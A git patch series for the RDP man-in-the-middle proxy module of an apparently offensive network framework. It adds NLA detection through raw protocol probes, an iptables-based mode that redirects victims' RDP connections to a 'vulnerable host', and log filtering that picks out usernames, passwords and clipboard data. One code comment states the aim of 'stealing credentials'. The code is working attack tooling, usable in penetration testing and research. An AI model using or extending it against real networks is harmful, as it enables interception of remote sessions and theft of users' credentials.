From 5b6043b324970f53e1d7ce7cb27ea8c2053154c3 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 15 May 2019 13:31:10 -0400 Subject: [PATCH 1/3] Added NLA detection and NLA-only redirection to rdp-proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 175 +++++++++++++++------ 1 file changed, 127 insertions(+), 48 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 30144669..6b352b25 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,16 +1,17 @@ package rdp_proxy import ( + "bufio" + "bytes" "fmt" "os/exec" + "io" "io/ioutil" golog "log" "net" - "syscall" - "bufio" - "io" "regexp" - "bytes" + "strings" + "syscall" "github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/network" @@ -23,16 +24,20 @@ import ( type RdpProxy struct { session.SessionModule - targets []net.IP - done chan bool - queue *nfqueue.Queue - queueNum int - port int - startPort int - cmd string - regexp string - compiled *regexp.Regexp - active map[string]exec.Cmd + targets []net.IP + done chan bool + queue *nfqueue.Queue + queueNum int + port int + startPort int + cmd string + secCheck string + nlaMode string + redirectIP net.IP + redirectPort int + regexp string + compiled *regexp.Regexp + active map[string]exec.Cmd } var mod *RdpProxy @@ -47,7 +52,11 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 3389, startPort: 40000, cmd: "pyrdp-mitm.py", - regexp: "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password)", + secCheck: "", + nlaMode: "IGNORE", + redirectIP: make(net.IP, 0), + redirectPort: 3389, + regexp: "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)", active: make(map[string]exec.Cmd), } @@ -61,6 +70,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { return mod.Stop() })) +// Required parameters mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for PyRDP sessions.")) @@ -68,6 +78,12 @@ mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "" mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts.")) mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password)", "", "Print PyRDP logs matching this regular expression.")) +// Optional paramaters +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.seccheck", "", "", "Path to rdp-sec-check.pl. Allows more complex exploits when NLA is enforced (optional).")) +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Require rdp.proxy.nla.seccheck.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.redirectip", "", "", "Specify IP to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) +mod.AddParam(session.NewIntParameter("rdp.proxy.nla.redirectport", "3389", "Specify port to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) + return mod } @@ -95,6 +111,48 @@ func (mod *RdpProxy) isTarget(ip string) bool { return false } +func (mod *RdpProxy) isNLAEnforced(target string) (nla bool, err error) { + if mod.secCheck != "" { + + output, err := core.Exec(mod.secCheck, []string{ + target, + }) + + // Hybrid means enforce NLA + SSL + if strings.Contains(output, "HYBRID_REQUIRED_BY_SERVER") { + return true, err + } + } + return false, err +} + +func (mod *RdpProxy) startProxyInstance(src string, sport string, dst string, dport string) { + target := fmt.Sprintf("%s:%s", dst, dport) + ips := fmt.Sprintf("[%s:%s -> %s:%s]", src, sport, dst, dport) + + // 3.1. Create a proxy agent and firewall rules. + args := []string{ + "-l", fmt.Sprintf("%d", mod.startPort), + // "-o", mod.outpath, + // "-i", "-d" + target, + } + + // 3.2. Spawn PyRDP proxy instance + cmd := exec.Command(mod.cmd, args...) + stderrPipe, _ := cmd.StderrPipe() + + if err := cmd.Start(); err != nil { + // XXX: Failed to start the rdp proxy... accept connection transparently and log? + mod.Info("%v", err.Error()) + } + + // Use goroutines to keep logging each instance of PyRDP + go mod.filterLogs(ips, stderrPipe) + + mod.active[target] = *cmd +} + // Filter PyRDP logs to only show those that matches mod.regexp func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) { scanner := bufio.NewScanner(output) @@ -115,26 +173,26 @@ func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) { } // Adds the firewall rule for proxy instance. -func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) { +func (mod *RdpProxy) doProxy(dst string, proxyPort string) (err error) { _, err = core.Exec("iptables", []string{ "-t", "nat", "-I", "BCAPRDP", "1", - "-d", addr, + "-d", dst, "-p", "tcp", "--dport", fmt.Sprintf("%d", mod.port), "-j", "REDIRECT", - "--to-ports", port, + "--to-ports", proxyPort, }) return } -func (mod *RdpProxy) doReturn(dst string, dport gopacket.Endpoint, enable bool) (err error) { +func (mod *RdpProxy) doReturn(dst string, dport string) (err error) { _, err = core.Exec("iptables", []string{ "-t", "nat", "-I", "BCAPRDP", "1", "-p", "tcp", "-d", dst, - "--dport", fmt.Sprintf("%v", dport), + "--dport", dport, "-j", "RETURN", }) return @@ -189,10 +247,22 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil { return + } else if err, mod.secCheck = mod.StringParam("rdp.proxy.nla.seccheck"); err != nil { + return + } else if err, mod.nlaMode = mod.StringParam("rdp.proxy.nla.mode"); err != nil { + return + } else if err, mod.redirectIP = mod.IPParam("rdp.proxy.nla.redirectip"); err != nil { + return + } else if err, mod.redirectPort = mod.IntParam("rdp.proxy.nla.redirectport"); err != nil { + return } else if mod.regexp != "" { if mod.compiled, err = regexp.Compile(mod.regexp); err != nil { return } + } else if mod.secCheck != "" { + if _, err = exec.LookPath(mod.secCheck); err != nil { + return + } } else if _, err = exec.LookPath(mod.cmd); err != nil { return } @@ -224,45 +294,54 @@ func (mod *RdpProxy) Configure() (err error) { func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // 1. Determine source and target addresses. p := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) - src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src() - dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst() + src, sport := p.NetworkLayer().NetworkFlow().Src().String(), fmt.Sprintf("%s", p.TransportLayer().TransportFlow().Src()) + dst, dport := p.NetworkLayer().NetworkFlow().Dst().String(), fmt.Sprintf("%s", p.TransportLayer().TransportFlow().Dst()) - ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport) + // TODO : Log everything inside the events stream + ips := fmt.Sprintf("[%s:%s -> %s:%s]", src, sport, dst, dport) - if mod.isTarget(dst.String()) { - target := fmt.Sprintf("%v:%v", dst, dport) + if mod.isTarget(dst) { + target := fmt.Sprintf("%s:%s", dst, dport) // 2. Check if the destination IP already has a PyRDP session active, if so, do nothing. if _, ok := mod.active[target]; !ok { - // 3.1. Otherwise, create a proxy agent and firewall rules. - args := []string{ - "-l", fmt.Sprintf("%d", mod.startPort), - // "-o", mod.outpath, - // "-i", "-d" - target, + targetNLA, _ := mod.isNLAEnforced(target) + + // Only if seccheck is set + if targetNLA { + switch mod.nlaMode { + case "RELAY": + mod.Info("%s Target has NLA enabled and mode RELAY, unimplemented", ips) + case "REDIRECT": + // TODO : Find a way to disconnect user right after stealing credentials. + // Start a PyRDP instance to the preconfigured vulnerable host + // and forward packets to the target to this host instead + mod.Info("%s Target has NLA enabled and mode REDIRECT, forwarding to the vulnerable host...", ips) + mod.startProxyInstance(src, sport, mod.redirectIP.String(), fmt.Sprintf("%d", mod.redirectPort)) + + mod.doProxy(dst, fmt.Sprintf("%d", mod.startPort)) + mod.startPort += 1 + default: + // Add an exception in the firewall to avoid intercepting packets to this destination and port + mod.Info("%s Target has NLA enabled and mode IGNORE, won't intercept", ips) + + mod.doReturn(dst, dport) + } + } else { + // Starts a PyRDP instance. + // Won't work if the target has NLA but rdp-sec-check isn't set + mod.startProxyInstance(src, sport, dst, dport) + + // Add a NAT rule in the firewall for this particular target IP + mod.doProxy(dst, fmt.Sprintf("%d", mod.startPort)) + mod.startPort += 1 } - - // 3.2. Spawn PyRDP proxy instance - cmd := exec.Command(mod.cmd, args...) - stderrPipe, _ := cmd.StderrPipe() - - if err := cmd.Start(); err != nil { - // XXX: Failed to start the rdp proxy... accept connection transparently and log? - } - - // Use goroutines to keep logging each instance of PyRDP - go mod.filterLogs(ips, stderrPipe) - - // 3.3. Add a NAT rule in the firewall for this particular target IP - mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true) - mod.active[target] = *cmd - mod.startPort += 1 } } else { mod.Info("Non-target, won't intercept %s", ips) // Add an exception in the firewall to avoid intercepting packets to this destination and port - mod.doReturn(dst.String(), dport, true) + mod.doReturn(dst, dport) } // Force a retransmit to trigger the new firewall rules. (TODO: Find a more efficient way to do this.) From 2985fb6baa586551e5f5307f4faa3c13f4536802 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Tue, 21 May 2019 10:10:52 -0400 Subject: [PATCH 2/3] Renamed variables and simplified code --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 37 ++++++++++++---------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index f9f57ff4..4d547e03 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -80,9 +80,9 @@ mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)", "", "Print PyRDP logs matching this regular expression.")) // Optional paramaters mod.AddParam(session.NewStringParameter("rdp.proxy.nla.seccheck", "", "", "Path to rdp-sec-check.pl. Allows more complex exploits when NLA is enforced (optional).")) -mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Require rdp.proxy.nla.seccheck.")) -mod.AddParam(session.NewStringParameter("rdp.proxy.nla.redirectip", "", "", "Specify IP to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) -mod.AddParam(session.NewIntParameter("rdp.proxy.nla.redirectport", "3389", "Specify port to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Either IGNORE, RELAY or REDIRECT. Require rdp.proxy.nla.seccheck.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.redirect.ip", "", "", "Specify IP to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) +mod.AddParam(session.NewIntParameter("rdp.proxy.nla.redirect.port", "3389", "Specify port to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) return mod } @@ -110,17 +110,19 @@ func (mod *RdpProxy) isTarget(ip string) bool { } func (mod *RdpProxy) isNLAEnforced(target string) (nla bool, err error) { - if mod.secCheck != "" { - - output, err := core.Exec(mod.secCheck, []string{ - target, - }) - - // Hybrid means enforce NLA + SSL - if strings.Contains(output, "HYBRID_REQUIRED_BY_SERVER") { - return true, err - } + if mod.secCheck == "" { + return false, err } + + output, err := core.Exec(mod.secCheck, []string{ + target, + }) + + // Hybrid means enforce NLA + SSL + if strings.Contains(output, "HYBRID_REQUIRED_BY_SERVER") { + return true, err + } + return false, err } @@ -267,9 +269,12 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err, mod.nlaMode = mod.StringParam("rdp.proxy.nla.mode"); err != nil { return - } else if err, mod.redirectIP = mod.IPParam("rdp.proxy.nla.redirectip"); err != nil { + } else if mod.nlaMode == "RELAY" { + mod.Info("Mode RELAY is unimplemented yet, fallbacking to mode IGNORE.") + mod.nlaMode = "IGNORE" + } else if err, mod.redirectIP = mod.IPParam("rdp.proxy.nla.redirect.ip"); err != nil { return - } else if err, mod.redirectPort = mod.IntParam("rdp.proxy.nla.redirectport"); err != nil { + } else if err, mod.redirectPort = mod.IntParam("rdp.proxy.nla.redirect.port"); err != nil { return } else if mod.regexp != "" { if mod.compiled, err = regexp.Compile(mod.regexp); err != nil { @@ -330,8 +335,6 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // Only if seccheck is set if targetNLA { switch mod.nlaMode { - case "RELAY": - mod.Info("%s Target has NLA enabled and mode RELAY, unimplemented", ips) case "REDIRECT": // TODO : Find a way to disconnect user right after stealing credentials. // Start a PyRDP instance to the preconfigured vulnerable host From 1e8bd24bf7465cfab039c00ed5e73345c61c8785 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Wed, 22 May 2019 09:58:24 -0400 Subject: [PATCH 3/3] Removed rdp-sec-check dependency for rdp-proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 74 +++++++++++++++------- 1 file changed, 50 insertions(+), 24 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 4d547e03..cd381967 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -3,6 +3,7 @@ package rdp_proxy import ( "bufio" "bytes" + "encoding/hex" "fmt" "os/exec" "io" @@ -10,7 +11,7 @@ import ( golog "log" "net" "regexp" - "strings" + "time" "syscall" "github.com/bettercap/bettercap/core" @@ -31,7 +32,6 @@ type RdpProxy struct { port int startPort int cmd string - secCheck string nlaMode string redirectIP net.IP redirectPort int @@ -52,7 +52,6 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 3389, startPort: 40000, cmd: "pyrdp-mitm.py", - secCheck: "", nlaMode: "IGNORE", redirectIP: make(net.IP, 0), redirectPort: 3389, @@ -79,8 +78,7 @@ mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output d mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)", "", "Print PyRDP logs matching this regular expression.")) // Optional paramaters -mod.AddParam(session.NewStringParameter("rdp.proxy.nla.seccheck", "", "", "Path to rdp-sec-check.pl. Allows more complex exploits when NLA is enforced (optional).")) -mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Either IGNORE, RELAY or REDIRECT. Require rdp.proxy.nla.seccheck.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Either IGNORE, RELAY or REDIRECT.")) mod.AddParam(session.NewStringParameter("rdp.proxy.nla.redirect.ip", "", "", "Specify IP to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) mod.AddParam(session.NewIntParameter("rdp.proxy.nla.redirect.port", "3389", "Specify port to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT")) @@ -109,23 +107,61 @@ func (mod *RdpProxy) isTarget(ip string) bool { return false } -func (mod *RdpProxy) isNLAEnforced(target string) (nla bool, err error) { - if mod.secCheck == "" { - return false, err +// Verify if the target says anything about enforcing NLA. +func verifyNLA(target string, payload []byte) (isNla bool, err error) { + var conn net.Conn + + if conn, err = net.Dial("tcp", target); err != nil { + return true, err + } else if err = conn.SetDeadline(time.Now().Add(5 * time.Second)); err != nil { + return true, err } - output, err := core.Exec(mod.secCheck, []string{ - target, - }) + defer conn.Close() - // Hybrid means enforce NLA + SSL - if strings.Contains(output, "HYBRID_REQUIRED_BY_SERVER") { + conn.Write([]byte(payload)) + + if _, err = conn.Write([]byte(payload)); err != nil { + return true, err + } + + buffer := make([]byte, 1024) + + if n, err := conn.Read(buffer[:]); n != 19 || err != nil { + return true, err + } + + // If failure code is HYBRID_REQUIRED_BY_SERVER + if buffer[11] == 3 && buffer[15] == 5 { return true, err } return false, err } +func (mod *RdpProxy) isNLAEnforced(target string) (nla bool, err error){ + // TCP payloads to validate if RDP and TLS are supported. + // Will return a special value if NLA is enforced + rdpPayload, _ := hex.DecodeString("030000130ee000000000000100080000000000") + tlsPayload, _ := hex.DecodeString("030000130ee000000000000100080001000000") + + var nlaCheck1 bool + var nlaCheck2 bool + + if nlaCheck1, err = verifyNLA(target, rdpPayload); err != nil { + return true, err + } else if nlaCheck2, err = verifyNLA(target, tlsPayload); err != nil { + return true, err + } + + // If NLA is enforced + if nlaCheck1 && nlaCheck2 { + return true, nil + } + + return false, nil +} + func (mod *RdpProxy) startProxyInstance(src string, sport string, dst string, dport string) (err error) { target := fmt.Sprintf("%s:%s", dst, dport) ips := fmt.Sprintf("[%s:%s -> %s:%s]", src, sport, dst, dport) @@ -265,8 +301,6 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil { return - } else if err, mod.secCheck = mod.StringParam("rdp.proxy.nla.seccheck"); err != nil { - return } else if err, mod.nlaMode = mod.StringParam("rdp.proxy.nla.mode"); err != nil { return } else if mod.nlaMode == "RELAY" { @@ -280,10 +314,6 @@ func (mod *RdpProxy) Configure() (err error) { if mod.compiled, err = regexp.Compile(mod.regexp); err != nil { return } - } else if mod.secCheck != "" { - if _, err = exec.LookPath(mod.secCheck); err != nil { - return - } } else if _, err = exec.LookPath(mod.cmd); err != nil { return } @@ -332,7 +362,6 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { if _, ok := mod.active[target]; !ok { targetNLA, _ := mod.isNLAEnforced(target) - // Only if seccheck is set if targetNLA { switch mod.nlaMode { case "REDIRECT": @@ -360,10 +389,7 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { } } else { // Starts a PyRDP instance. - // Won't work if the target has NLA but rdp-sec-check isn't set - err := mod.startProxyInstance(src, sport, dst, dport) - - if err != nil { + if err := mod.startProxyInstance(src, sport, dst, dport); err != nil { // Add an exception in the firewall to avoid intercepting packets to this destination and port mod.doReturn(dst, dport) payload.SetVerdict(nfqueue.NF_DROP)